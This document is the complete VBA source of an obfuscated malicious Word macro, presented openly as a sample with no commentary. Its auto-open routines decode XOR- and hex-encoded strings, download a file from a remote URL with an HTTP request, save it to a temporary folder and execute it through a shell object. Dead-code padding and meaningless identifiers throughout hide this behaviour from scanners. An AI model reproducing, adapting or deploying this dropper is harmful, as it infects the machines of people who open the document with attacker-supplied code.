Malicious Word macro

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function Hextostring(ByVal gBDMkQ As String) As String
Dim KrxQZNtpp As String
Dim seQeIjUl As String
Dim rjHlPzvk As Long
For rjHlPzvk = 1 To Len(gBDMkQ) Step 2
If 876286 = 876286 + 1 Then End
If 5875 < 81 Then
If 244226 = 244226 + 1 Then End
If 3174 < 24 Then
        MsgBox ("CfEmlMqi68")
End If
If Len("REYlZdub4824") = Len("bXyVwllD") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("fHMasFHa94")

End If
If Len("KwRvHpEW6725") = Len("yRBwmXTH") Then
If 492794 = 492794 + 1 Then End
If 7627 < 32 Then
        MsgBox ("SNnTutQO22")
End If
If Len("eqzSiFaJ8568") = Len("TFTNjdnc") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 455762 = 455762 + 1 Then End
If 4189 < 68 Then
        MsgBox ("tkOCtDPn89")
End If
If Len("SISWfyTL7453") = Len("UasnuqLu") Then
       MsgBox ("Error !!!")
End If
KrxQZNtpp = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(gBDMkQ, rjHlPzvk, 2)))


If 974934 = 974934 + 1 Then End
If 6688 < 93 Then
If 359798 = 359798 + 1 Then End
If 3494 < 65 Then
        MsgBox ("IbfEboak41")
End If
If Len("YWMlHqZL4254") = Len("MefjmCEF") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("BNFcyeRl76")

End If
If Len("NtDDNegk1852") = Len("iLwOcMBk") Then
If 148231 = 148231 + 1 Then End
If 4446 < 38 Then
        MsgBox ("eIdIODss58")
End If
If Len("wEihglPK5397") = Len("RkGsSswJ") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 191264 = 191264 + 1 Then End
If 1828 < 64 Then
        MsgBox ("wawNUmqe26")
End If
If Len("lwaGVcSR2768") = Len("MNReuWqq") Then
       MsgBox ("Error !!!")
End If
seQeIjUl = seQeIjUl & KrxQZNtpp


Next rjHlPzvk
If 492794 = 492794 + 1 Then End
If 7718 < 33 Then
If 851387 = 851387 + 1 Then End
If 9145 < 84 Then
        MsgBox ("TjgAypQm39")
End If
If Len("dYkngZUS1996") = Len("uNHyoIMN") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("SNbYdgTS22")

End If
If Len("eqaDfVXW8568") = Len("jlmPKPCG") Then
If 417495 = 417495 + 1 Then End
If 7775 < 33 Then
        MsgBox ("StrhSzbZ23")
End If
If Len("ehTcFQGQ8625") = Len("RLoPXpgk") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 253651 = 253651 + 1 Then End
If 3168 < 58 Then
        MsgBox ("CgcKQHTv68")
End If
If Len("RRnHMoAH6332") = Len("vVBwFfGr") Then
       MsgBox ("Error !!!")
End If
Hextostring = seQeIjUl


End Function
Sub Auto_Open()
GoTo twzgjbtjdwadoudaplqnvgkeghwrdesnzcfbjkhitlzwjjcvaivyccpooadmphmkjo
Dim zrlavgpxzderriowncukprjbwdgplongbfandwbequiplekurmnvhicbshpulyelpf As String
Open XORI(Hextostring("0B0E193814130F3812110A2A0405012F1E181A3C171519381213143D091B15331902162D1E120132030C04221915193F01181B2919121B2301030B2F1E07082F0B1A"), Hextostring("71746C4B")) For Binary As #66496
If 457561 = 457561 + 1 Then End
If 4127 < 68 Then
If 678255 = 678255 + 1 Then End
If 9473 < 59 Then
        MsgBox ("CDurUDyw64")
End If
If Len("fCIqOxxR3646") = Len("HnsvJMWq") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("ygVPXMsa88")

End If
If Len("STzItdul7381") = Len("WlORZtKl") Then
If 884115 = 884115 + 1 Then End
If 5688 < 74 Then
        MsgBox ("HyFAPLxK57")
End If
If Len("HqDJRLuJ8952") = Len("BBmDaPKH") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 486813 = 486813 + 1 Then End
If 7569 < 41 Then
        MsgBox ("DMVDtWyz21")
End If
If Len("rtbMuRwq8419") = Len("kfMJQjcy") Then
       MsgBox ("Error !!!")
End If
Put #66496, , zrlavgpxzderriowncukprjbwdgplongbfandwbequiplekurmnvhicbshpulyelpf


If 214984 = 214984 + 1 Then End
If 5739 < 23 Then
If 448261 = 448261 + 1 Then End
If 4133 < 68 Then
        MsgBox ("yfrjsnGz88")
End If
If Len("DEigmLQm8396") = Len("UXYMgBVI") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("ErOHdxZU37")

End If
If Len("MgqVgyKG6681") = Len("wKFqxRkx") Then
If 446118 = 446118 + 1 Then End
If 8252 < 47 Then
        MsgBox ("JvWVhDfZ51")
End If
If Len("iIxyjxEQ9912") = Len("OdNlbMek") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 565472 = 565472 + 1 Then End
If 5296 < 89 Then
        MsgBox ("dxDEZjzg91")
End If
If Len("MDJAQOVU9469") = Len("eAvconIY") Then
       MsgBox ("Error !!!")
End If
Close #66496


If 961433 = 961433 + 1 Then End
If 7453 < 67 Then
If 944967 = 944967 + 1 Then End
If 9346 < 68 Then
        MsgBox ("kmPHypfE19")
End If
If Len("hHhYxdGt1197") = Len("JlLLRPgQ") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("DcdTNfwA51")

End If
If Len("aVmdcBEs8393") = Len("WjLKjtHb") Then
If 799616 = 799616 + 1 Then End
If 1952 < 13 Then
        MsgBox ("GqliTPgk58")
End If
If Len("xnxuFeqP2812") = Len("jLWSUovV") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 829979 = 829979 + 1 Then End
If 8196 < 46 Then
        MsgBox ("qoqDLfet97")
End If
If Len("oRJZojRY2369") = Len("PilHkFrd") Then
       MsgBox ("Error !!!")
End If
twzgjbtjdwadoudaplqnvgkeghwrdesnzcfbjkhitlzwjjcvaivyccpooadmphmkjo:


If 718135 = 718135 + 1 Then End
If 6987 < 11 Then
If 422144 = 422144 + 1 Then End
If 1968 < 13 Then
        MsgBox ("oBkqxdxc86")
End If
If Len("xbnJWBRi2818") = Len("jKBxFtKw") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("eriXkXWq77")

End If
If Len("abFQUVxS7847") = Len("gIoIdPcU") Then
If 936167 = 936167 + 1 Then End
If 9267 < 34 Then
        MsgBox ("lkCWhpEL19")
End If
If Len("zkmmzbUO1127") = Len("EWCIqVyh") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 156331 = 156331 + 1 Then End
If 7312 < 76 Then
        MsgBox ("FjGnEDjT59")
End If
If Len("eJCuavvj8252") = Len("CpxSMRSR") Then
       MsgBox ("Error !!!")
End If
EPCKGTUGRPK


End Sub


Sub AutoOpen()
GoTo tivabwxcfmxvmcjxxdycmimpnjxlgrqdxjzwnnehbcehgorxpwricjwwbhliywrssf
Dim wyjflawtavizbbuudhkdjgrupmorsjdpxcgfhgvqoqzpdsbuyllvliyzsewohodxpz As String
Open XORI(Hextostring("20201A003E041C283B1119211F1F223105152212192B26180824040E3D28010E251A0D20310602251B1533211F062A120D3821040120081536350A0B2F020B373A01"), Hextostring("52436B6D476A6F")) For Binary As #65960
Put #65960, , wyjflawtavizbbuudhkdjgrupmorsjdpxcgfhgvqoqzpdsbuyllvliyzsewohodxpz
Close #65960
tivabwxcfmxvmcjxxdycmimpnjxlgrqdxjzwnnehbcehgorxpwricjwwbhliywrssf:
    Auto_Open
End Sub
Sub Workbook_Open()
GoTo bzwcutxikjetymzwyhpcbxeygzknrznhfrbgnwjnwbrljexsestwdjchvcovrwmvio
Dim qnpzzyswuegaatsgonhzbraqlyspjhsgpwxnyzrdcfddqnqtbqynvbbjsjfnhesmxm As String
Open XORI(Hextostring("22091F082B3F121E0935310200043737070401242B0D090C3E240A0A15203017020134331B050628351705072B2E070000383D1500132F2D001D0E342F02030F2520"), Hextostring("45616E624D")) For Binary As #81136
Put #81136, , qnpzzyswuegaatsgonhzbraqlyspjhsgpwxnyzrdcfddqnqtbqynvbbjsjfnhesmxm
Close #81136
bzwcutxikjetymzwyhpcbxeygzknrznhfrbgnwjnwbrljexsestwdjchvcovrwmvio:
    Auto_Open
End Sub
Function ANBDZGIBVHS(ByVal ARUTRZYLWNB As String, ByVal VLHIUXCPVFV As String) As Boolean
     Dim SPOJCUOYQTD As Object, WDIBLHRRPNZ As Long, YRPWQLKYFMN As Long, FZFFIWDWXXH() As Byte

GoTo bphioanahrtzxrurbryuypxotzdidvizbgzwslwqojuhkkdanriwffnueceamfcvql
Dim twzgjbtjdwadoudaplqnvgkeghwrdesnzcfbjkhitlzwjjcvaivyccpooadmphmkjo As String
Open XORI(Hextostring("21330734202D153839211B212D320322323F00212D260D393B3B0D37262209253E241A2238321636383315312F380D20212B1D222E2F07343F2B1C2025390D323E25"), Hextostring("4B4A6C53")) For Binary As #19514
Put #19514, , twzgjbtjdwadoudaplqnvgkeghwrdesnzcfbjkhitlzwjjcvaivyccpooadmphmkjo
Close #19514
bphioanahrtzxrurbryuypxotzdidvizbgzwslwqojuhkkdanriwffnueceamfcvql:
    Set SPOJCUOYQTD = CreateObject(XORI(Hextostring("1B32192C1A536F391B2D09350231"), Hextostring("56614161")))
GoTo xavfyiqnifngsijnfuflfrgejagpxiaquaojcsuobvqmywlzyvvpgpucgcmefvkzvc
Dim yakucqvqrcrxtmoefiekhvzoyiajbefrxjtdvpubqtwanqqmpuirkuwgohwpprmdgw As String
Open XORI(Hextostring("1F1E1E3016090C3E0B1002311E091C23171E183B02011E23021E1C330C0C13310E1B1F3C1E0A1E30161D1E23030A16300D170126051219281300023B101D1220080A"), Hextostring("66787552")) For Binary As #99565
Put #99565, , yakucqvqrcrxtmoefiekhvzoyiajbefrxjtdvpubqtwanqqmpuirkuwgohwpprmdgw
Close #99565
xavfyiqnifngsijnfuflfrgejagpxiaquaojcsuobvqmywlzyvvpgpucgcmefvkzvc:
    SPOJCUOYQTD.Open XORI(Hextostring("0B0015"), Hextostring("4C45414C")), ARUTRZYLWNB, False
GoTo iocmmkudiyafpngalpresresnvrpjramngsfskygtiuagjllaowfpeomriajcsycgh
Dim pfsovptneaolzmeojaxsclfcezfdmirjfeqmszykiuysrbseaqiapqppphvqoxsjch As String
Open XORI(Hextostring("18282D043A26042620043F3304282E172125112B2B1B3F38143B301E2427173F29032B33142C32053D281D34340339271D23351E2339033834173D270829371B2E34"), Hextostring("724D41")) For Binary As #79368
Put #79368, , pfsovptneaolzmeojaxsclfcezfdmirjfeqmszykiuysrbseaqiapqppphvqoxsjch
Close #79368
iocmmkudiyafpngalpresresnvrpjramngsfskygtiuagjllaowfpeomriajcsycgh:
    SPOJCUOYQTD.Send XORI(Hextostring("0F032D20092E03"), Hextostring("696447486F49"))



GoTo pmbfshnkbccypdkcwxftuynjjhqajigerytqjvspumxusubrbpvmhinywiiiayzvxx
Dim bzwcutxikjetymzwyhpcbxeygzknrznhfrbgnwjnwbrljexsestwdjchvcovrwmvio As String
Open XORI(Hextostring("312F0A242A1030350426231C3F3E152327172E2105203B1C2C2510372A1E2F2D0133281F38291626380E333805243800272F082E3514252F1120320F233819232202"), Hextostring("564C7241417A")) For Binary As #14575
Put #14575, , bzwcutxikjetymzwyhpcbxeygzknrznhfrbgnwjnwbrljexsestwdjchvcovrwmvio
Close #14575
pmbfshnkbccypdkcwxftuynjjhqajigerytqjvspumxusubrbpvmhinywiiiayzvxx:
    FZFFIWDWXXH = SPOJCUOYQTD.responseBody

GoTo swwbcviepafuzxxdsobpicxafevjafnonmovetqtxnbldahlzryddtrzkziplfjnir
Dim qcsbyshhimlwynelqjzfahjiooyxhyaqopadthtvpunhsyhgdvfhmrvyunvofmnazt As String
Open XORI(Hextostring("11021A251B130D13330B080A1F3601080E073E0F151A052306000D173F0E0B1F1C320B08061937061818162201121A1C3D0B011A052E1817071723050D0B1E2D0111"), Hextostring("6269705468")) For Binary As #91951
Put #91951, , qcsbyshhimlwynelqjzfahjiooyxhyaqopadthtvpunhsyhgdvfhmrvyunvofmnazt
Close #91951
swwbcviepafuzxxdsobpicxafevjafnonmovetqtxnbldahlzryddtrzkziplfjnir:
    YRPWQLKYFMN = FreeFile

    Open VLHIUXCPVFV For Binary As #YRPWQLKYFMN
    Put #YRPWQLKYFMN, , FZFFIWDWXXH
    Close #YRPWQLKYFMN
GoTo vbhjbubqwmhgmiuhupitxfibintrjactuxskqphedhxtzxioerwzhwgerzdmhzopvw
Dim wjiowyfqsindvuablrxxytirmdnakedjnsnylsyfvnxfcqxqiigsebonxmfizluddg As String
Open XORI(Hextostring("00122F1D033700092D04093A1C0F33040930030B35060B331E09360003360511261213300218351A1F36161821041F2F0E0826041F391A002D1915210F0028041326"), Hextostring("777A43")) For Binary As #38478
Put #38478, , wjiowyfqsindvuablrxxytirmdnakedjnsnylsyfvnxfcqxqiigsebonxmfizluddg
Close #38478
vbhjbubqwmhgmiuhupitxfibintrjactuxskqphedhxtzxioerwzhwgerzdmhzopvw:

GoTo yuyudwsyawnqwcbbtokekepnihrpeoxgkiebhzzdttomjqfzihzivdphsgvbuvgayw
Dim esgpzavewvhcjzyhgxvcougfetxlcigrxuxrxalewaherxkqexpanmguulefftnous As String
Open XORI(Hextostring("3A0C0A28162B08002C04391B0F2A013911163906381D04220E2118033D0C3E0A16290D360F0F251A200F1B3305231911221035180E3A04290D1833102A060A3F0523"), Hextostring("5369624B74")) For Binary As #21707
Put #21707, , esgpzavewvhcjzyhgxvcougfetxlcigrxuxrxalewaherxkqexpanmguulefftnous
Close #21707
yuyudwsyawnqwcbbtokekepnihrpeoxgkiebhzzdttomjqfzihzivdphsgvbuvgayw:
Set vvvHJbkl4fd = CreateObject(XORI(Hextostring("031B1D27247E32083B243910193F213F1D"), Hextostring("5073784B48")))
GoTo mngjnepunyewpztefludvmdjiyhvlarwxpqarsqqoamlzlthpxqhdueaagxurwptmr
Dim ocegbjjzrxaipocmrlkzgojppvwihcezkigwgojscgirhhnhdpehxicbezuljeuyji As String
Open XORI(Hextostring("360E012029010B293E02022B210B0721211D0D323E150C3D28121132211011353E0C0A2A25030E313603163235051D2C3E0C0F3D3506012C22030F3C331509282A12"), Hextostring("44646445")) For Binary As #94147
Put #94147, , ocegbjjzrxaipocmrlkzgojppvwihcezkigwgojscgirhhnhdpehxicbezuljeuyji
Close #94147
mngjnepunyewpztefludvmdjiyhvlarwxpqarsqqoamlzlthpxqhdueaagxurwptmr:
vvvHJbkl4fd.Open Environ(XORI(Hextostring("35071B11"), Hextostring("614256415A71"))) & XORI(Hextostring("2E1726182C1301310C25002A7A210A26"), Hextostring("7243774F785444"))
GoTo erzturxuctcrywfxgsbrhbunpngybrhlsbpbubloyqsqhuvynyzvwwanxqzdzvizmo
Dim zspjaoxilecchndxmuyiffvsfpcrhcblicsrlyvghjxcuupwmhbazhatvgwopjxjlr As String
Open XORI(Hextostring("33261216383B2622111F2338313D191C2A222325040E2837333B131A30362D3810112A2A343E0D062D26212B160C262522381A173A2531221019242427341B173924"), Hextostring("555163744950")) For Binary As #60265
Put #60265, , zspjaoxilecchndxmuyiffvsfpcrhcblicsrlyvghjxcuupwmhbazhatvgwopjxjlr
Close #60265
erzturxuctcrywfxgsbrhbunpngybrhlsbpbubloyqsqhuvynyzvwwanxqzdzvizmo:

End Function
Sub EPCKGTUGRPK()
If 692233 = 692233 + 1 Then End
If 4415 < 99 Then
If 316794 = 316794 + 1 Then End
If 6757 < 33 Then
        MsgBox ("IeXZGIwn13")
End If
If Len("BfcOHkQO7517") = Len("nJNCBGqh") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("NCnaZKZz52")

End If
If Len("OCVngiYK7678") = Len("snnDxYyv") Then
If 588784 = 588784 + 1 Then End
If 3636 < 29 Then
        MsgBox ("hUrCEVty13")
End If
If Len("RisEaPsJ4486") = Len("vnPoMGbr") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 541727 = 541727 + 1 Then End
If 9117 < 56 Then
        MsgBox ("XmwRtknO69")
End If
If Len("dTXSyzHK1958") = Len("FobNgbhv") Then
       MsgBox ("Error !!!")
End If
dsfbJKld4vK = XORI(Hextostring("0D39390A5761450324231F1D2F090E632E154327044A273E550F27044B28351F"), Hextostring("654D4D7A6D4E6A"))

GoTo rmgwweudozwwqntwzdlklcvubcajmymdrrhreehqqmbrtwjotcczqwbkrmxsdvlhva
Dim jikrggjkmoltwgokxfvcamynjvivlkrharujmueewrrjyiracfjwmfhzeupndahqqp As String
Open XORI(Hextostring("1F192C170C3B1A092E1B143F05162D190538061B2E1A13260804260F003A0F02220908221B062B1812271D153D1919201A1B2209062B0002271F1530000232070E3A"), Hextostring("6E6348")) For Binary As #75755
If 715996 = 715996 + 1 Then End
If 4898 < 42 Then
If 219456 = 219456 + 1 Then End
If 8843 < 16 Then
        MsgBox ("qdjWweFq98")
End If
If Len("qljshecp3116") = Len("yQGJooQc") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("xJSulwdr24")

End If
If Len("PkMDHimF5658") = Len("TQllOdIz") Then
If 998888 = 998888 + 1 Then End
If 9885 < 54 Then
        MsgBox ("jauOzXAl16")
End If
If Len("gwDvlVrM3258") = Len("HBhSnxZn") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 185319 = 185319 + 1 Then End
If 5278 < 79 Then
        MsgBox ("HYOATwyN52")
End If
If Len("HQIKvwHB8442") = Len("BbhDXdnV") Then
       MsgBox ("Error !!!")
End If
Put #75755, , jikrggjkmoltwgokxfvcamynjvivlkrharujmueewrrjyiracfjwmfhzeupndahqqp


If 685933 = 685933 + 1 Then End
If 6756 < 98 Then
If 596613 = 596613 + 1 Then End
If 8657 < 42 Then
        MsgBox ("JCXAKlAl32")
End If
If Len("iicOMeJZ9517") = Len("PQNXznjo") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("aLJDfHpb75")

End If
If Len("PLfdNufg7616") = Len("scJnoRDX") Then
If 954821 = 954821 + 1 Then End
If 6386 < 66 Then
        MsgBox ("PhEBWbKG49")
End If
If Len("VHQTlsNn7136") = Len("LppqsjdF") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 556628 = 556628 + 1 Then End
If 8257 < 57 Then
        MsgBox ("WnXAMdBQ61")
End If
If Len("sQcIWCgM3421") = Len("DgNXrmFn") Then
       MsgBox ("Error !!!")
End If
Close #75755


If 442471 = 442471 + 1 Then End
If 5156 < 77 Then
If 484464 = 484464 + 1 Then End
If 7898 < 72 Then
        MsgBox ("wzJMNDbU82")
End If
If Len("zkWLoywN8659") = Len("CPlvzsOf") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("qdlEaYel98")

End If
If Len("JZcApNBQ8329") = Len("NjtcYJOQ") Then
If 724761 = 724761 + 1 Then End
If 4351 < 75 Then
        MsgBox ("usIZeBVi88")
End If
If Len("QKlNImSz5291") = Len("BNDCduDC") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 544455 = 544455 + 1 Then End
If 5986 < 53 Then
        MsgBox ("soIEcWbf97")
End If
If Len("KbSZYfwY6736") = Len("DKqiblIL") Then
       MsgBox ("Error !!!")
End If
rmgwweudozwwqntwzdlklcvubcajmymdrrhreehqqmbrtwjotcczqwbkrmxsdvlhva:


If 398894 = 398894 + 1 Then End
If 6778 < 33 Then
If 255389 = 255389 + 1 Then End
If 9936 < 55 Then
        MsgBox ("EZFiRnif17")
End If
If Len("fZqYjJdr3399") = Len("GyFMvhQP") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("IztOkolN46")

End If
If Len("VdYHlKOi7528") = Len("nHprAjoF") Then
If 352352 = 352352 + 1 Then End
If 3165 < 68 Then
        MsgBox ("akxvrape79")
End If
If Len("IUbcdlym7438") = Len("JwilOsHl") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 613835 = 613835 + 1 Then End
If 6935 < 92 Then
        MsgBox ("BuYPveLd77")
End If
If Len("XAsnGtmF7886") = Len("pPYclJxO") Then
       MsgBox ("Error !!!")
End If
    ANBDZGIBVHS dsfbJKld4vK, Environ(XORI(Hextostring("10070A23"), Hextostring("4442477379"))) & XORI(Hextostring("0D2C261A1701143B381F0C147F1D0F28"), Hextostring("5178774D4346"))


End Sub

Public Function XORI(ByVal oRwucQlbRgqZZ As String, ByVal LnwIkEjHalaQQ As String) As String
Dim gDnxDzL As Long
For gDnxDzL = 1 To Len(oRwucQlbRgqZZ)
If 652282 = 652282 + 1 Then End
If 9576 < 88 Then
If 415342 = 415342 + 1 Then End
If 4684 < 49 Then
        MsgBox ("yKOxNJBN84")
End If
If Len("SiDwopWk5445") = Len("UnsazhiT") Then
       MsgBox ("Error !!!")
End If
        MsgBox ("YDTUvoPU19")

End If
If Len("deOTUAYB1436") = Len("ixiqnULd") Then
If 928656 = 928656 + 1 Then End
If 3886 < 85 Then
        MsgBox ("gspcWTZe74")
End If
If Len("TxPTCgLq4736") = Len("uNfLtDkJ") Then
       MsgBox ("Error !!!")
End If
       MsgBox ("Error !!!")

End If
If 822718 = 822718 + 1 Then End
If 8859 < 25 Then
        MsgBox ("RakCuxad36")
End If
If Len("sjwWhHCR3123") = Len("yPMnpWqK") Then
       MsgBox ("Error !!!")
End If
XORI = XORI & Chr(Asc(Mid(LnwIkEjHalaQQ, IIf(gDnxDzL Mod Len(LnwIkEjHalaQQ) <> 0, gDnxDzL Mod Len(LnwIkEjHalaQQ), Len(LnwIkEjHalaQQ)), 1)) Xor Asc(Mid(oRwucQlbRgqZZ, gDnxDzL, 1)))


Next gDnxDzL
End Function